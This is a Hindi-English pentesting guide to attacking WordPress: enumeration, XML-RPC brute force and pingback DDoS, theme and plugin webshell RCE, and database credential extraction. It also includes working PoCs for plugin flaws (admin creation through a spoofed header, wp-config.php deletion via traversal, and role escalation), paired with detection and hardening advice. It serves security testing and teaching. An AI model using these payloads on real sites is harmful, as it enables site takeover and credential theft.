Wordpress
Reading time: 30 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, इसलिए अगर आप theme के किसी php को बदलकर RCE हासिल करना चाहते हैं तो आप शायद उसी path का उपयोग करेंगे। उदाहरण के लिए: Using theme twentytwelve आप 404.php फ़ाइल को इस पाथ पर access कर सकते हैं: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php आप database का root password पा सकते हैं।
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
में उपयोगी जानकारी होती है जैसे कि इंस्टॉल किया गया WordPress का version।wp-activate.php
नया WordPress साइट सेटअप करते समय email activation प्रक्रिया के लिए उपयोग होता है।- Login folders (may be renamed to hide it):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
एक फ़ाइल है जो WordPress की उस फ़ीचर का प्रतिनिधित्व करती है जो HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करके डेटा ट्रांसमिट करने की अनुमति देती है। इस प्रकार की संचार विधि को WordPress के REST API ने बदल दिया है।wp-content
फ़ोल्डर मुख्य डायरेक्टरी है जहाँ plugins और themes स्टोर होते हैं।wp-content/uploads/
वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहित होती हैं।wp-includes/
यह वह डायरेक्टरी है जहाँ core फ़ाइलें स्टोर होती हैं, जैसे कि certificates, fonts, JavaScript files, और widgets।wp-sitemap.xml
WordPress versions 5.5 और उससे ऊपर में, Worpress एक sitemap XML फ़ाइल जनरेट करता है जिसमें सभी public posts और publicly queryable post types और taxonomies होते हैं।
Post exploitation
wp-config.php
फ़ाइल में WordPress को database से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे database name, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को सक्रिय करने के लिए भी उपयोग की जा सकती है, जो troubleshooting में उपयोगी हो सकता है।
Users Permissions
- Administrator
- Editor: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
- Author: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
- Contributor: अपने पोस्ट लिखता और प्रबंधित करता है पर उन्हें प्रकाशित नहीं कर सकता
- Subscriber: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित करता है
Passive Enumeration
Get WordPress version
चेक करें कि क्या आप फ़ाइलें /license.txt
या /readme.html
पा सकते हैं
पृष्ठ के source code के अंदर (उदाहरण के लिए from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS लिंक फ़ाइलें
- JavaScript फ़ाइलें
प्लगइन्स प्राप्त करें
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
थीम प्राप्त करें
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
सामान्य रूप से संस्करण निकालें
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
सक्रिय अन्वेषण
प्लगइन्स और थीम्स
आप संभवतः सभी प्लगइन्स और थीम्स नहीं ढूँढ पाएँगे। उन्हें खोजने के लिए, आपको सक्रिय रूप से Brute Force करके प्लगइन्स और थीम्स की सूची निकालनी होगी (हमें उम्मीद है कि हमारे लिए ऐसी स्वचालित tools मौजूद हैं जिनमें ये सूचियाँ होती हैं)।
उपयोगकर्ता
- ID Brute: आप WordPress साइट से Brute Forcing users IDs के जरिए वैध उपयोगकर्ता प्राप्त कर सकते हैं:
curl -s -I -X GET http://blog.example.com/?author=1
यदि प्रतिक्रिया 200 या 30X है, तो इसका मतलब है कि id मान्य है। यदि प्रतिक्रिया 400 है, तो id अमान्य है।
- wp-json: आप users के बारे में जानकारी प्राप्त करने के लिए query कर सकते हैं:
curl http://blog.example.com/wp-json/wp/v2/users
एक अन्य /wp-json/
endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी उजागर कर सकता है:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है।
Also note that /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration: जब
/wp-login.php
पर लॉगिन करते समय संदेश अलग होता है और यह दर्शाता है कि username मौजूद है या नहीं।
XML-RPC
यदि xml-rpc.php
सक्रिय है तो आप credentials brute-force कर सकते हैं या इसे अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए उपयोग कर सकते हैं। (You can automate this process using this for example).
यह सक्रिय है या नहीं देखने के लिए /xmlrpc.php तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
जांचें
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
या metaWeblog.getUsersBlogs
कुछ ऐसे मेथड्स हैं जिन्हें credentials को brute-force करने के लिए उपयोग किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ़ पाएँ तो आप कुछ ऐसा भेज सकते हैं:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid.
यदि credentials मान्य नहीं हैं तो 200 कोड response के भीतर संदेश "Incorrect username or password" दिखाई देना चाहिए।
सही credentials का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। response में path दिखाई देगा (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
इसके अलावा, system.multicall
का उपयोग करके brute-force credentials के लिए एक तेज़ तरीका है, क्योंकि आप एक ही रिक्वेस्ट में कई credentials आज़मा सकते हैं:
.png)
Bypass 2FA
यह विधि प्रोग्राम्स के लिए है, इंसानों के लिए नहीं, और पुरानी होने के कारण यह 2FA को सपोर्ट नहीं करती। इसलिए, अगर आपके पास valid creds हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो आप xmlrpc.php का दुरुपयोग करके उन creds से 2FA बायपास कर लॉगिन कर सकते हैं। ध्यान रखें कि आप console के माध्यम से कर पाए जाने वाले सभी actions नहीं कर पाएंगे, लेकिन फिर भी आप RCE तक पहुँच सकते हैं जैसा कि Ippsec ने https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s में समझाया है।
DDoS or port scanning
यदि आप list के अंदर pingback.ping method को ढूँढ पाते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं।
इसे उपयोग करके आप हज़ारों Wordpress साइटों से एक ही स्थान को एक्सेस करवाएँगे (जिससे उस स्थान पर DDoS होता है), या आप इसे उपयोग करके Wordpress को किसी internal नेटवर्क पर स्कैन करवा सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)।
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
यदि आपको faultCode का मान बड़ा 0 (17) से मिलता है, तो इसका मतलब है कि port खुला है।
पिछले अनुभाग में system.multicall
के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके DDoS कैसे किया जा सकता है।
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
यह फ़ाइल आमतौर पर Wordpress साइट की रूट में मौजूद होती है: /wp-cron.php
\
जब इस फ़ाइल को एक्सेस किया जाता है, तो एक "भारी" MySQL query निष्पादित होती है, इसलिए इसका उपयोग हमलावर द्वारा DoS पैदा करने के लिए किया जा सकता है।\
इसके अलावा, डिफ़ॉल्ट रूप से, wp-cron.php
को हर पेज लोड पर कॉल किया जाता है (जब भी कोई क्लाइंट किसी भी Wordpress पेज का अनुरोध करता है), जो high-traffic साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।
सुझाव दिया जाता है कि Wp-Cron को disable करें और host के अंदर एक वास्तविक cronjob बनाएं जो नियमित अंतराल पर आवश्यक कार्यों को निष्पादित करे (बिना समस्याएँ पैदा किए)।
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
यह टूल चेक करता है कि methodName: pingback.ping मौजूद है और पाथ /wp-json/oembed/1.0/proxy मौजूद है या नहीं, और अगर मौजूद हैं तो यह उन्हें exploit करने की कोशिश करता है।
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
एक बिट ओवरराइट करके एक्सेस प्राप्त करें
यह असल हमला होने के बजाय एक जिज्ञासा है। CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man में आप किसी भी wordpress फ़ाइल का 1 बिट पलट सकते थे। इसलिए आप फ़ाइल /var/www/html/wp-includes/user.php
की स्थिति 5389
पर बिट पलटकर NOT (!
) ऑपरेशन को NOP कर सकते थे।
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
थीम में उपयोग किए गए php को संशोधित करना (admin credentials आवश्यक)
Appearance → Theme Editor → 404 Template (at the right)
php shell के लिए सामग्री बदलें:
इंटरनेट पर खोजें कि आप उस अपडेट किए गए पृष्ठ तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ पहुँचना होगा: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
आप उपयोग कर सकते हैं:
use exploit/unix/webapp/wp_admin_shell_upload
सत्र प्राप्त करने के लिए।
Plugin RCE
PHP plugin
कभी-कभी .php फाइलें plugin के रूप में अपलोड करना संभव हो सकता है।
उदाहरण के लिए अपना php backdoor बनाएं:
फिर एक नया plugin जोड़ें:
Plugin अपलोड करें और Install Now दबाएँ:
Procced पर क्लिक करें:
शायद इससे कुछ भी नहीं होगा, लेकिन अगर आप Media में जाएँ तो आप अपना shell अपलोड हुआ देखेंगे:
इसे access करें और आप reverse shell execute करने का URL देखेंगे:
Uploading and activating malicious plugin
यह तरीका एक ऐसी malicious plugin की installation में शामिल है जिसे vulnerable के रूप में जाना जाता है और जिसका exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से इस प्रकार की जाती है:
- Plugin Acquisition: Plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, उदाहरण के लिए here.
- Plugin Installation:
- WordPress dashboard पर जाएँ, फिर
Dashboard > Plugins > Upload Plugin
पर जाएँ। - डाउनलोड किए गए plugin की zip फ़ाइल अपलोड करें।
- Plugin Activation: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से activate किया जाना चाहिए।
- Exploitation:
- जब "reflex-gallery" plugin install और activate हो, तो इसे exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है।
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और विशिष्ट कमांड्स execute करके एक meterpreter session स्थापित किया जा सकता है, जो site पर unauthorized access प्रदान कर सकता है।
- यह केवल WordPress साइट को exploit करने के कई तरीकों में से एक है।
सामग्री में WordPress dashboard में plugin install और activate करने के चरणों को दर्शाते हुए दृश्य संदर्भ शामिल हैं। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि बिना उचित अनुमति के इस प्रकार vulnerabilities का exploit करना अवैध और अनैतिक है। यह जानकारी ज़िम्मेदारी से और केवल कानूनी संदर्भ में ही उपयोग की जानी चाहिए, जैसे कि penetration testing जब स्पष्ट अनुमति हो।
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike एक स्क्रिप्ट है जो Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन की गई है WordPress में। अधिक जानकारी के लिए this post देखें। यह Wordpress Versions 6.X.X, 5.X.X and 4.X.X के लिए सपोर्ट प्रदान करता है और यह अनुमति देता है:
- Privilege Escalation: WordPress में एक user बनाता है।
- (RCE) Custom Plugin (backdoor) Upload: अपना custom plugin (backdoor) WordPress पर अपलोड करें।
- (RCE) Built-In Plugin Edit: WordPress में Built-In Plugins को edit करें।
- (RCE) Built-In Theme Edit: WordPress में Built-In Themes को edit करें।
- (Custom) Custom Exploits: Third-Party WordPress Plugins/Themes के लिए custom exploits।
Post Exploitation
यूज़रनेम और पासवर्ड निकालें:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
admin password बदलें:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
हमले की सतह
किस तरह एक Wordpress plugin फ़ंक्शनैलिटी को एक्सपोज़ कर सकता है यह जानना उसकी functionality में vulnerabilities खोजने के लिए अहम है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण this blog post में दिए गए हैं।
wp_ajax
एक plugin उपयोगकर्ताओं के लिए फ़ंक्शन्स एक्सपोज़ करने के तरीकों में से एक AJAX handlers के जरिए होता है। इनमें लॉजिक, authorization, या authentication bugs हो सकते हैं। इसके अलावा, अक्सर ये फ़ंक्शन्स authentication और authorization दोनों को wordpress nonce की मौजूदगी पर आधारित कर देते हैं, जो Wordpress instance में authenticated किसी भी user के पास हो सकता है (चाहे उसकी role कोई भी हो)।
ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
`nopriv`` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) द्वारा पहुँच योग्य बना देता है।
caution
इसके अलावा, यदि फ़ंक्शन केवल wp_verify_nonce
फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांचता है कि उपयोगकर्ता लॉग इन है; यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली क्रियाओं की पहुँच मिल सकती है।
- REST API
यह भी संभव है कि wordpress में register_rest_route
फ़ंक्शन का उपयोग करके functions को expose किया जाए:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
एक callback फ़ंक्शन है जो जाँच करता है कि दिया गया उपयोगकर्ता API method को कॉल करने के लिए अधिकृत है या नहीं।
If the built-in __return_true
function is used, it'll simply skip user permissions check.
- Direct access to the php file
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फ़ाइलें वेब से सीधे सुलभ होती हैं। इसलिए, यदि कोई plugin ऐसी कोई vulnerable functionality उजागर कर रहा है जो केवल फ़ाइल तक पहुँचने से ट्रिगर हो जाती है, तो वह किसी भी उपयोगकर्ता द्वारा exploitable होगी।
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए वर्तमान user context सेट करने के लिए करते हैं। यदि वह header किसी upstream component द्वारा cryptographically request के साथ bound नहीं है, तो एक attacker उसे spoof कर सकता है और privileged REST routes को administrator के रूप में हिट कर सकता है।
- Impact: core users REST route के माध्यम से एक नया administrator बनाकर unauthenticated privilege escalation to admin।
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(user ID 1 को मजबूर करता है — आम तौर पर पहला administrator account)। - Exploited route:
POST /wp-json/wp/v2/users
एक elevated role array के साथ।
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकृत स्थिति से मैप करता है और capability checks को स्किप कर देता है।
- WordPress core इस route के लिए
create_users
capability की अपेक्षा करता है; प्लगइन hack इसे बायपास करता है, हेडर से सीधे वर्तमान उपयोगकर्ता संदर्भ सेट करके।
Expected success indicators
- HTTP 201, एक JSON बॉडी के साथ जो बनाए गए उपयोगकर्ता का विवरण देती है।
- एक नया admin उपयोगकर्ता
wp-admin/users.php
में दिखाई देगा।
Detection checklist
getallheaders()
,$_SERVER['HTTP_...']
, या उन vendor SDKs के लिए grep करें जो कस्टम हेडर पढ़कर उपयोगकर्ता संदर्भ सेट करते हैं (उदा.,wp_set_current_user()
,wp_set_auth_cookie()
).- उन REST registrations की समीक्षा करें जहाँ privileged callbacks के पास मजबूत
permission_callback
चेक्स नहीं हैं और वे अनुरोध हेडरों पर निर्भर करते हैं। - REST handlers के अंदर core user-management functions (
wp_insert_user
,wp_create_user
) के उपयोग खोजें जिन्हें केवल हेडर मानों द्वारा gated किया गया है।
Hardening
- कभी भी क्लाइंट-नियंत्रित हेडरों से प्रमाणीकरण या प्राधिकरण न निकाले।
- यदि एक reverse proxy को identity इंजेक्ट करनी ही है, तो proxy पर ट्रस्ट समाप्त करें और इनबाउंड कॉपियाँ हटा दें (उदा.,
unset X-Wcpay-Platform-Checkout-User
at the edge), फिर एक signed token पास करें और इसे server-side पर सत्यापित करें। - विशेषाधिकार वाले कार्य करने वाले REST routes के लिए
current_user_can()
चेक्स और एक कड़ाpermission_callback
आवश्यक करें (__return_true
का उपयोग न करें)। - हेडर “impersonation” की बजाय first-party auth (cookies, application passwords, OAuth) को प्राथमिकता दें।
References: पृष्ठ के अंत में दिए लिंक देखें जो एक सार्वजनिक केस और व्यापक विश्लेषण प्रस्तुत करते हैं।
अनप्रमाणीकृत मनमाना फ़ाइल विलोपन via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins अक्सर AJAX handlers को wp_ajax_
और wp_ajax_nopriv_
hooks के माध्यम से एक्सपोज करते हैं। जब nopriv variant का उपयोग किया जाता है तो callback अनप्रमाणीकृत विजिटर्स द्वारा पहुँच योग्य हो जाता है, इसलिए कोई भी संवेदनशील क्रिया अतिरिक्त रूप से लागू करनी चाहिए:
- एक capability check (उदा.,
current_user_can()
या कम से कमis_user_logged_in()
), और - एक CSRF nonce जिसे
check_ajax_referer()
/wp_verify_nonce()
से मान्य किया गया हो, और - कठोर इनपुट sanitisation / validation।
The Litho multipurpose theme (< 3.1) ने Remove Font Family फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरलीकृत) शिप किया:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
इस स्निपेट द्वारा उत्पन्न समस्याएँ:
- बिना प्रमाणीकरण पहुँच –
wp_ajax_nopriv_
hook पंजीकृत है। - कोई nonce / capability check नहीं – कोई भी विज़िटर endpoint को हिट कर सकता है।
- कोई path sanitisation नहीं – उपयोगकर्ता-नियंत्रित
fontfamily
स्ट्रिंग बिना फ़िल्टरिंग के एक फ़ाइल सिस्टम पथ के साथ जोड़ दी जाती है, जिससे क्लासिक../../
traversal संभव हो जाता है।
Exploitation
एक हमलावर एकल HTTP POST request भेजकर uploads base directory के नीचे (आम तौर पर <wp-root>/wp-content/uploads/
) किसी भी फ़ाइल या डायरेक्टरी को हटा सकता है:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php
lives outside uploads, four ../
sequences are enough on a default installation. Deleting wp-config.php
forces WordPress into the इंस्टॉलेशन विज़ार्ड on the next visit, enabling a full site take-over (हमलावर केवल एक नया DB configuration देता है और एक admin उपयोगकर्ता बनाता है).
Other impactful targets include plugin/theme .php
files (to break security plugins) or .htaccess
rules.
डिटेक्शन चेकलिस्ट
- कोई भी
add_action( 'wp_ajax_nopriv_...')
callback जो फ़ाइल सिस्टम हेल्पर्स (copy()
,unlink()
,$wp_filesystem->delete()
, आदि) को कॉल करता हो। - पथों में साफ़ न किया गया उपयोगकर्ता इनपुट जोड़ना (देखें
$_POST
,$_GET
,$_REQUEST
)। check_ajax_referer()
औरcurrent_user_can()
/is_user_logged_in()
की अनुपस्थिति।
हार्डनिंग
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
हमेशा किसी भी write/delete ऑपरेशन को डिस्क पर privileged मानें और दोबारा जाँच करें:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
कई plugins एक "view as role" या temporary role-switching feature को लागू करते हैं, जो मूल role(s) को user meta में सेव करके बाद में restore करने के लिए रखते हैं। यदि restoration path केवल request parameters (e.g., $_REQUEST['reset-for']
) और plugin-maintained सूची पर निर्भर करता है और capabilities और वैध nonce की जाँच नहीं करता, तो यह एक vertical privilege escalation बन जाता है।
एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में पाया गया। reset branch ने roles को reset-for=<username>
के आधार पर restore किया अगर username internal array $options['viewing_admin_as_role_are']
में मौजूद हो, लेकिन current roles को हटाने और user meta _asenha_view_admin_as_original_roles
से saved roles को फिर से जोड़ने से पहले न तो current_user_can()
चेक किया गया और न ही कोई nonce verification:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Why it’s exploitable
- सर्वर-साइड प्राधिकरण के बिना
$_REQUEST['reset-for']
और plugin विकल्प पर भरोसा करता है। - यदि किसी user के पास पहले
_asenha_view_admin_as_original_roles
में उच्च-प्राधिकार सहेजे गए थे और बाद में उन्हें डाउनग्रेड किया गया, तो वे reset path को हिट करके उन्हें पुनर्स्थापित कर सकते हैं। - कुछ deployments में, कोई भी प्रमाणीकृत user
viewing_admin_as_role_are
में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (टूटी हुई प्राधिकरण जाँच)।
Attack prerequisites
- कमजोर plugin संस्करण जिसमें यह फीचर सक्षम हो।
- लक्षित खाता के user meta में पहले के उपयोग से एक अवशिष्ट उच्च-प्राधिकार रोल मौजूद होना।
- कोई भी प्रमाणीकृत सत्र; reset flow पर nonce/capability की कमी।
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., administrator
), effectively escalating privileges.
Detection checklist
- ऐसी role-switching सुविधाओं की तलाश करें जो user meta में “मूल भूमिकाएँ” (उदा.,
_asenha_view_admin_as_original_roles
) को स्थायी रूप से संग्रहीत करती हैं। - Identify reset/restore paths that:
$_REQUEST
/$_GET
/$_POST
से usernames पढ़ते हैं।add_role()
/remove_role()
के माध्यम से roles बदलते हैं बिनाcurrent_user_can()
औरwp_verify_nonce()
/check_admin_referer()
के।- किसी plugin option array (उदा.,
viewing_admin_as_role_are
) के आधार पर authorize करते हैं बजाय actor की capabilities के।
Hardening
- हर state-changing ब्रांच पर capability checks लागू करें (उदा.,
current_user_can('manage_options')
या अधिक कड़ा)। - सभी role/permission परिवर्तनों के लिए nonces अनिवार्य करें और उन्हें verify करें:
check_admin_referer()
/wp_verify_nonce()
। - कभी भी request-supplied usernames पर भरोसा न करें; authenticated actor और स्पष्ट नीति के आधार पर target user को server-side पर resolve करें।
- प्रोफ़ाइल/role अपडेट्स पर “original roles” स्टेट को invalid कर दें ताकि stale उच्च-प्रिविलेज़ पुनर्स्थापना से बचा जा सके:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- अस्थायी भूमिका परिवर्तन के लिए न्यूनतम state संग्रहीत करने और time-limited, capability-guarded tokens का उपयोग करने पर विचार करें।
Unauthenticated privilege escalation via cookie‑trusted user switching on public init
(Service Finder “sf-booking”)
कुछ plugins सार्वजनिक init
hook पर user-switching helpers को जोड़ते हैं और पहचान client-controlled cookie से निकालते हैं। यदि कोड wp_set_auth_cookie()
को authentication, capability और एक वैध nonce सत्यापित किए बिना कॉल करता है, तो कोई भी unauthenticated विज़िटर किसी भी arbitrary user ID के रूप में लॉगिन करने के लिए मजबूर कर सकता है।
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
क्यों यह शोषण योग्य है
- सार्वजनिक
init
